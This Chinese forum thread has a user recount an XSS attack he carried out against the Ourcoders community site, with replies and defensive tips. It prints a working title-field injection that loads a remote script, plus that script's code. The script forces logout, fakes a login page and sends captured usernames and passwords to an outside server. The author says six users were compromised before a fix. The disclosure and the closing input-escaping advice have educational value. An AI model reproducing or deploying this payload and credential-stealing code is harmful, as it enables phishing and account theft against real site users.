讲一下之前XSS的细节问题

brambles 发布于 2015年11月12日
tinyfool Hector Achmed 等3人欣赏。

1.注入js带代码

主要问题是页面中有一个这么一处

var title = "这里是帖子标题";

》点击此处高亮所有代码《

tiny叔直接在模板里的js代码中没有过滤直接输出字符串,使得我可以在标题里面使用"符号打断这段代码。比如我在标题的最后面加上如下语句:

";var d=document;s=d.createElement('script');s.src='http://lovearia.me/t.js';d.head.appendChild(s);"

于是上面那个title变量的赋值语句就变成了这样

var title = "";var d=document;s=d.createElement('script');s.src='http://lovearia.me/t.js';d.head.appendChild(s);"";

到此我的代码就注入成功了。这段代码的作用就是在此页面上加载 http://lovearia.me/t.js 这个放在我的网站上的脚本。

2.钓鱼并获取账户密码

用XSS注入直接获取帐号密码是比较困难的,但是可以通过欺骗的手段,骗取密码。如何让用户输入帐号密码呢?这个其实很简单,我的做法是:

  1. 用ajax退出用户登录。
  2. 伪造登录页面,并且劫持。
  3. 将用户名密码发送到远程服务器。
  4. 让用户成功登录即可。

接下来,看看我的 lovearia.me/t.js 是怎么写的。杂七杂八的细节我不说了,我就说核心的部分。

》点击此处尝试下面的代码过程《

  // 设置退出登录页面和登录页面
  var logoutpage = '/user/logout/';
  var loginpage = '/user/login/';

  // 登录页面的表单选择器
  var loginformselector = 'form[action="/user/login/"]';

  // 登录页面中用户名密码的选择器
  var usernameselector = 'input[name="name"]';
  var passwordselector = 'input[name="password"]';

  // 接受偷取用户名密码的URL
  var receiveurl = 'http://lovearia.me/main/steal/';

  // 首先,用Ajax强制退出用户的登录
  $.get(logoutpage, function(){

    // 然后,用Ajax获取登录页面并且覆盖当前页面
    // 注意:此处不会跳转URL
    $.get(loginpage, function(d){
      $('html').html(d);
      alert('这是钓鱼登录页面,别输入帐号密码了');

      // 当用户提交登录表单的时候,获取用户名密码,并且传输给服务器
      $(loginformselector).on('submit', function(e){
        e.preventDefault();
        var username = $(usernameselector).val();
        var password = $(passwordselector).val();
        var img = $('<img>');
        img.attr('src', receiveurl + username + '/' + password);
        img.css('display', 'none');
        img.on('error', function(){
          //localStorage['islogin'] = 'true';
          $(loginformselector).off('submit');
          $(loginformselector).trigger('submit');
        });
        // 这里通过图片传输数据来避免跨域问题
        $('body').append(img);
      });
    });
  });
共6条回复
Canrz 回复于 2015年11月12日

xss以后真是大有可为

brambles 回复于 2015年11月12日

1楼 @Canrz

用成熟的框架很难有任何机会注入。 出现能注入的漏洞,基本都是开发者偷懒而已……

不相信任何用户的输入,这是最起码的。

Canrz 回复于 2015年11月13日

2楼 @brambles 单纯依靠框架不太可行,我认为是不可能完全封死的,最大的漏洞就是人本身嘛。乌云上面XSS刷分的这么多。

qq3421923 回复于 2015年11月13日
";var d=document;s=d.createElement('script');s.src='http://lovearia.me/t.js';d.head.appendChild(s);"

恕我愚昧,我还是不明白你怎么注入折断代码的...是发表一个新话题吗?我自己理解的如下:

  1. 你通过发表一篇文章...然后设置了title为上面的代码段...
  2. 接下来,所有打开这篇文章的人,都会被要求重新输入密码,然后,你就能顺利成章的要到密码?
  3. 接下来,你让用户再打开登陆页面,可是由于你的js代码一直在监听,所以...很容易的,你获取到了....

上面是我的个人理解,可是却引申出了更多的东西

  • brambles ,你是如何知道tiny没有做xss过滤的呢?我是先问你是怎么监测的。
  • 有没有相关的书籍教程推荐?最近在做后台...继续恶补这方面的知识....xss防护也是很多方式,类似于注入,基本的代码自己也会写好...就是不知道很多坑点在哪儿..🌹
  • 请你指点一下...
At last:

你是好样的!

😊🏄

brambles 回复于 2015年11月13日

4楼 @qq3421923

讲讲经过

首先,这个问题已经被 tiny 叔修复了。如果你早两个星期注册的话估计能看到活的。当时我的一篇帖子的标题如下所示:

放福利了<a style='display:none;'>";var d=document;s=d.createElement('script');s.src='http://lovearia.me/t.js';d.head.appendChild(s);"</a>

<a>标签是用来隐藏我后面那段代码,来保证不被发现。

一开始,我在跟我的学妹讲解XSS注入,当时因为在看Ourcoders,所以就随手拿来Ourcoders来给她讲解。

结果一试发现tiny叔是完全没有做任何xss的防护,直接在文本框里面写 <script> 标签都不会被过滤。(测试成功的那瞬间我自己都不敢相信……)

然后我就跟tiny说了,让他做一下XSS的防范。于是在文本框内输入<script>标签这种低级的注入就无效了。

后来我在帖子页面里面被我发现了一个 var title = "标题" 这样的一条赋值语句,然后我就尝试用在标题里面加入"符号来尝试打断,然后发现成功了。于是就连夜写了我上面的那些代码,然后从早上六点挂到了早上十点停止,一共有六名用户中招,其中还包括了tiny叔。

后来让 tiny 叔紧急修复啦 /w\

如何避免XSS注入

  • 不要相信任何用户输入
  • 不要相信任何用户输入
  • 不要相信任何用户输入
  • (重要的话要说三遍)

不要直接把你用户的输入插入进模板。很多模板引擎会默认帮你过滤标签,但是PHP自身就是一个模板,所以PHP的开发者一定要注意。

不要直接把用户的输入直接插入页面中的JS。如果真的需要传字符串数据给JS的话,先转Json再插入页面的JS。转Json还能帮你有效的处理特殊字符,比如换行符之类的。

在页面上不要直接 eval 其他的用户输入,也不要直接用jquery把任何用户输入直接插入其他人的页面(比如网页弹幕之类的程序)。

话说

我有个想法唉,我反其道而行之,专门做一个用来让大家XSS玩的页面好了。而且页面上被XSS做的改动还会保留 /w\

qq3421923 回复于 2015年11月13日

5楼 @brambles

虽然说起来简单,但是期间想要完全尝试,“连夜”做出来,已经不是体力问题了。却需要者很多的经验...

感谢分享😊

登录 或者 注册